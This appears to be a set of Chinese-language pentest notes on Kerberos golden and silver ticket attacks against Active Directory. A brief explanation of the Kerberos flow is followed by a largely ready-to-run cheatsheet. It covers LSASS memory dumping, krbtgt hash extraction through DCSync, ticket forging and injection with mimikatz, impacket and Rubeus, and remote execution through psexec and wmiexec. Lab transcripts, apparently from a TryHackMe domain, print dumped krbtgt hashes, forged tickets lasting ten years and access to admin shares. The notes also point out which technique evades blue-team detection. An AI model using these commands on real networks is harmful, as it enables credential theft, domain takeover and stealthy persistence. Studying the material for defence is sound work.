:::danger
- Silver & Golden Tickets (一定要看! 为什么黄金票据能伪造成任意用户)
- Deep Dive into Kerberoasting Attack
- Domain Persistence: Golden Ticket Attack
:::
在 AD 攻击中我们经常看到 金银票
攻击,那么这是什么?
Kerberos 身份验证
Kerberos 身份验证流程
用户向 DC 上的密钥分发中心 (KDC) 发出 AS-REQ,其中包括一个用户的 NTLM hash 加密的时间戳 (本质来说这是对 TGT 的请求) 。 DC 检查信息后将 TGT 发送给用户,该 TGT 是使用
KRBTGT
用户 hash 签名的,这个密码哈系值只存储在 DC 上,用户接受到 TGT 后将其发送给 DC, 如果 TGT 检查无误,DC 将会返回一个 TGS, TGS 使用是用户请求的服务的 NTLM hash 加密的,然后,用户将这个 TGS 提交给服务访问,服务可以验证TGS,因为它知道自己的哈希值,可以授予用户访问权。
介绍
金票
黄金门票就是伪造的 TGT
, 这代表我们需要绕过上图的 1,2 步,在这两步中我们向 DC 证明我们是谁。当我们拥有特权账户的有效 TGT ,我们就可以获取我们可以访问的服务的 TGS。为了伪造黄金门票,我们需要 KRBTGT
账户的密码哈系,以便与我们为我们想要的任何账户签署 TGT。
- 我们不许要任何模拟账户的密码哈系,应为我们绕过了此步骤。TGT 仅用于证明DC 上的 KDC 签署了该请求,因为是使用
KRBTGT
hash 签署的,所以只要这个验证通过无论 TGT 内容是什么,都为有效 - KDC 只有在 TGT 中指定的用户账户超过 20 分钟时验证,这意味着我们可以在 TGT 中放置一个已禁用、已删除或不存在的帐户,要我们确保时间戳不超过 20 分钟,它就会有效。
- 由于门票的策略和规则是在TGT本身设置的,我们可以覆盖KDC推送的值,例如,门票的有效期只能是10小时。例如,我们可以确保我们的 TGT 有效期为 10 年,赋予我们持久性。
- 默认情况下,KRBTGT 帐户的密码永远不会改变
mimikatz会根据我们传入的域SID,自动为我们拼接成以下SID,从而伪装具有下列权限的账户。 黄金票默认组:要伪造的域用户(一般为域管理员账户)+域名+域的SID值(就是域成员SID值去掉最后部分)+krbtgt账户的hash或AES-256值
- 域用户SID:S-1-5-21 -513
- 域管理员SID:S-1-5-21 -512
- 架构管理员SID:S-1-5-21 -518
- 企业管理员SID:S-1-5-21 -519(对于有多个子域的域林,企业管理员的Domain SID只在森林根域中,所以传入子域的Domain SID是无法伪造企业管理员账户的,可以使用/sids参数将域林管理员SID添加到SID History中,权限进一步从子域提升到整个域林)
- 组策略创建者所有者SID:S-1-5-21 -520
银票
银票是伪造的 TGS 门票,我们需要跳过步骤 1~4 , 直接与我们要直接访问的服务进行联系。
- 生成的 TGS 是由我们所针对的主机的机器账户签署
- 金票和银票的主要区别在于我们获得的权限数量。如果我们拥有KRBTGT账户的密码哈希,我们就可以获得一切权限。有了银票,由于我们只能获得我们要攻击的服务器的机器账户的密码哈希,我们只能冒充该主机本身的用户。银票的范围只限于特定服务器上的任何服务。
- 由于TGS是伪造的,所以没有相关的TGT,意味着DC从未被联系过。这使得攻击变得非常危险,因为唯一可用的日志将在目标服务器上。因此,虽然范围更有限,但对蓝队来说,它明显更难发现。
- 由于权限是通过SID确定的,我们可以再次为我们的银票创建一个不存在的用户,只要我们确保银票有相关的SID,将用户放在主机的本地管理员组中。
- 机器账户的密码通常每30天轮换一次,这对持久性没有好处。然而,我们可以利用我们的TGS提供的访问权限,获得对主机注册表的访问,并改变负责机器账户密码轮换的参数。从而确保机器账户保持静态,并赋予我们在机器上的持久性。
:::danger
白银票据不会与DC通信,因此相比黄金票据更隐蔽,是一种很好的权限维持手段;:::
白银票据条件:
- 伪造域用户
- 域名
- 域的SID值(就是域成员SID值去掉最后部分)
- 目标服务的FQDN【FQDN(全称:Fully Qualified Domain Name)是一个完整的域名,它包含了主机名(hostname)和域名(domain name)。它由域名系统(DNS)使用,以确定网络上的特定计算机。例如,www.example.com就是一个FQDN。】
- 可利用服务
- 服务帐号 NTLM Hash
导出票据
mimikatz - kerberos::list
$ mimikatz # kerberos::list /export // 获取当前logon session缓存的kerberos tickets, 等价与klist tickets
mimikatz-sekurlsa::tickets
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export // 使用内存读取并且不受密钥导出限制,可获取所有登录会话缓存的kerberos tickets,导出的文件根据LUID和ticket种类字段来区分
lsa dump+pypykatz
pypykatz导出的格式就比较友好,能明显区分TGT和TGS
rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full
pip3 install pypykatz
pypykatz lsa -k /root/kerb minidump /root/Desktop/lsass.DMP
格式转换
# impacket
python ticketConverter.py ticket.kirbi ticket.ccache
python ticketConverter.py ticket.ccache ticket.kirbi
# kirbi2ccache
kirbi2ccache TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi yashika.ccache
生成票据
kerberos_attacks_cheatsheet.md
普通TGT
impakcet
python getTGT.py -dc-ip 192.168.240.142 -hashes :B9E0CFCEAF6D077970306A2FD88A7C0A ring2/win10
python getTGT.py -dc-ip 192.168.240.142 ring2/win10:Test1234
黄金票据
mimikatz
# 使用 NTLM 生成 TGS
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# 用AES 128密钥生成TGS
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# 用AES 256密钥生成TGS(更安全的加密,可能更隐蔽,因为微软默认使用)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# 列出所有的 Kerberos 票证
mimikatz # kerberos::list
# 列出当前用户会话提交的票证
mimikatz # kerberos::tgt
# 用 Mimikatz 注射 TGS
mimikatz # kerberos::ptt <ticket_kirbi_file>
# step 1. 获取 domain name
C:\Users\win10>ipconfig /all
# step 2. 获取域SID
C:\Users\win10>whoami /all
# step 3. 获取krbtgt hash
mimikatz # lsadump::dcsync /user:krbtgt
或
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt // 从 LSA 中检索 krbtgt 哈希
# step 4. 票据传递
mimikatz # kerberos::golden /user:evil /domain:ring2.com /sid:S-1-5-21-2475887593-94489213-2292866110 /krbtgt:29bb608cc69ec270aed8805b190cff38 /ptt (生成并传递)
User : evil
Domain : ring2.com (RING2)
SID : S-1-5-21-2475887593-94489213-2292866110
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 29bb608cc69ec270aed8805b190cff38 - rc4_hmac_nt
Lifetime : 7/29/2020 11:21:09 PM ; 7/27/2030 11:21:09 PM ; 7/27/2030 11:21:09 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'evil @ ring2.com' successfully submitted for current session
mimikatz # exit
Bye!
# step 5. 访问资源
// 注: 这里要用机器名而不是IP,因为TGS Request中发的是server computer name, DC中查server Hash也是根据computer_name$查的
c:\Users\win10\Desktop>dir \\win10-pc2\c$
Volume in drive \\win10-pc2\c$ has no label.
Volume Serial Number is 82AC-49B6
Directory of \\win10-pc2\c$
07/10/2020 04:06 PM <DIR> PerfLogs
07/27/2020 04:12 AM <DIR> Program Files
07/10/2020 04:14 PM <DIR> Program Files (x86)
07/10/2020 04:16 PM <DIR> Users
07/27/2020 10:18 AM <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 43,286,941,696 bytes free
impakcet
# 使用 NTLM 生成 TGT
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# 用 AES 密钥生成TGS
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# 设置票据以用于impacket的使用
export KRB5CCNAME=<TGS_ccache_file>
# 通过使用TGT执行以下任何一种远程命令
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
与SID History结合,提权横移到其他域
Kerberos Golden Tickets are Now More Golden
白银票据
mimikatz
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
kerberos::golden /domain:ring2.com /sid:S-1-5-21-2475887593-94489213-2292866110 /target:win10-pc2.ring2.com /service:cifs /rc4:0b247d5c4f73feec13228f650b71ac5f /user:test /ptt
impacket
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGS
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
更多白银票据例子:
1. 利用CIFS服务,操作windows admin share
2. 利用HOST服务,操作计划任务
3. 利用http&wsman服务,调用winrm
4. 利用host&rpcss服务执行WMI
[

Invoke-WmiMethod win32_process -ComputerName $Computer -Credential $Creds -name create -argumentlist “$RunCommand”
5. 利用LDAP服务执行DCSync
这个例子的重点不在于最后做DCSync,而是演示用DC$密码后利用白银票据保持对AD的高操作权限。票据传递
mimikatz
mimikatz # kerberos::ptt
Rebeus
.\Rubeus.exe ptt /ticket:
linux+impacket
# Set the ticket for impacket use
export KRB5CCNAME=<ccache_file_path>
# Execute remote commands with any of the following by using the TGT or TGS
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
伪造门票
:::info
- 我们已经有了
KRBTGT
账户 NTLM hash - THMSERVER1 计算机账户关联的 NTLM hash
:::
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator.ZA> Get-ADDomain
AllowedDNSSuffixes : {}
ComputersContainer : CN=Computers,DC=za,DC=tryhackme,DC=loc
DeletedObjectsContainer : CN=Deleted Objects,DC=za,DC=tryhackme,DC=loc
DistinguishedName : DC=za,DC=tryhackme,DC=loc
DNSRoot : za.tryhackme.loc
DomainControllersContainer : OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DomainMode : Windows2012R2Domain
DomainSID : S-1-5-21-3885271727-2693558621-2658995185
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=za,DC=tryhackme,DC=loc
Forest : tryhackme.loc
InfrastructureMaster : THMDC.za.tryhackme.loc
LastLogonReplicationInterval :
LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=za,DC=tryhackme,DC=loc}
LostAndFoundContainer : CN=LostAndFound,DC=za,DC=tryhackme,DC=loc
ManagedBy :
Name : za
NetBIOSName : ZA
ObjectClass : domainDNS
ObjectGUID : 1fc9e299-da51-4d03-baa0-862c3360c0b2
ParentDomain : tryhackme.loc
PDCEmulator : THMDC.za.tryhackme.loc
PublicKeyRequiredPasswordRolling :
QuotasContainer : CN=NTDS Quotas,DC=za,DC=tryhackme,DC=loc
ReadOnlyReplicaDirectoryServers : {}
ReplicaDirectoryServers : {THMDC.za.tryhackme.loc}
RIDMaster : THMDC.za.tryhackme.loc
SubordinateReferences : {DC=DomainDnsZones,DC=za,DC=tryhackme,DC=loc}
SystemsContainer : CN=System,DC=za,DC=tryhackme,DC=loc
UsersContainer : CN=Users,DC=za,DC=tryhackme,DC=loc
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
04 49a8de3b6c7ae1ddf36aa868e68cd9ea
05 7902703149b131c57e5253fd9ea710d0
06 df5ad3cc1ff643663d85dabc81432a81
07 49a8de3b6c7ae1ddf36aa868e68cd9ea
08 a489809bd0f8e525f450fac01ea2054b
09 19e54fd00868c3b0b35b5e0926934c99
10 4462ea84c5537142029ea1b354cd25fa
11 6773fcbf03fd29e51720f2c5087cb81c
12 19e54fd00868c3b0b35b5e0926934c99
13 52902abbeec1f1d3b46a7bd5adab3b57
14 6773fcbf03fd29e51720f2c5087cb81c
15 8f2593c344922717d05d537487a1336d
16 49c009813995b032cc1f1a181eaadee4
17 8552f561e937ad7c13a0dca4e9b0b25a
18 cc18f1d9a1f4d28b58a063f69fa54f27
19 12ae8a0629634a31aa63d6f422a14953
20 b6392b0471c53dd2379dcc570816ba10
21 7ab113cb39aa4be369710f6926b68094
22 7ab113cb39aa4be369710f6926b68094
23 e38f8bc728b21b85602231dba189c5be
24 4700657dde6382cd7b990fb042b00f9e
25 8f46d9db219cbd64fb61ba4fdb1c9ba7
26 36b6a21f031bf361ce38d4d8ad39ee0f
27 e69385ee50f9d3e105f50c61c53e718e
28 ca006400aefe845da46b137b5b50f371
29 15a607251e3a2973a843e09c008c32e3
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
mimikatz #
使用 Mimikatz:
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>C:\Tools\mimikatz_trunk\x64\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
- /admin : 模拟的用户名
- /domain : 对应域的 FQDN
- /id : 用户 RID,默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
- /sid : 对应域的 SID
- /kebtgt : KRBTGT 帐户的 NTLM 哈希。
- /endin - 票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时
- /renewmax - 续订的最长票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天
- /ptt - 此标志告诉 Mimikatz 将票证直接注入会话,这意味着它已准备好使用
我们可以对 DC 运行命令验证黄金门票是否正常运行:
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmdc.za.tryhackme.loc\c$\
mimikatz # kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
- /admin : 模拟的用户名
- /domain : 对应域的 FQDN
- /id : 用户 RID,默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
- /sid : 对应域的 SID
- /target : 目标服务器主机名
- /rc4 : 目标计算机账户的 NTLM hash, 查看 DC 同步结果,查找 THMSERVER1$ 的 NTLM 哈希。$ 表示它是一个计算机帐户
- /service - 我们在 TGS 中请求的服务。CIFS是一个安全的选择,因为它允许文件访问
- /ptt - 此标志告诉 Mimikatz 将票证直接注入会话,这意味着它已准备好使用
za\aaron.jones@THMWRK1 C:\Users\Administrator.ZA>dir \\thmserver1.za.tryhackme.loc\c$\